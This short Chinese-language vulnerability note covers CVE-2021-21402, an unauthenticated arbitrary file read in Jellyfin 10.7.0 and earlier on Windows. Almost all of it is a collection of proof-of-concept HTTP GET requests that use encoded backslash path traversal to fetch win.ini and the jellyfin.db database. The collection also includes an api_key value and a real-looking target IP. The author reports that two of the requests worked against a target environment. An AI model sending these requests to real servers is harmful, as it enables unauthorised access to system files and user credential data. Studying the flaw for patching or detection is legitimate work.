Jellyfin 任意文件读取 (CVE-2021-21402)

JellyFin的Windows端服务器不会对特定路径进行鉴权，可以导致攻击者利用Windows上的路径穿越来读取Windows服务器上的任意文件。

JellyFin <= 10.7.0

利用方式比较简单，普通的GET请求。

网传poc如下：

# poc_1
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
Host:xxx.xxx.xxx.xxx
Content-Type: application/octet-stream


# poc_2
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: x.x.x.x:5577
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://110.93.247.208:5577/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


# poc_3
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
Host: xxx.xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://110.93.247.208:5577/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


# 其他poc
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

在测试时发现，上述poc并不是全部可用，以下两个poc在目标环境成功：

/Audio/1/hls/c:%5CWindows%5Cwin.ini/stream.mp3/
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/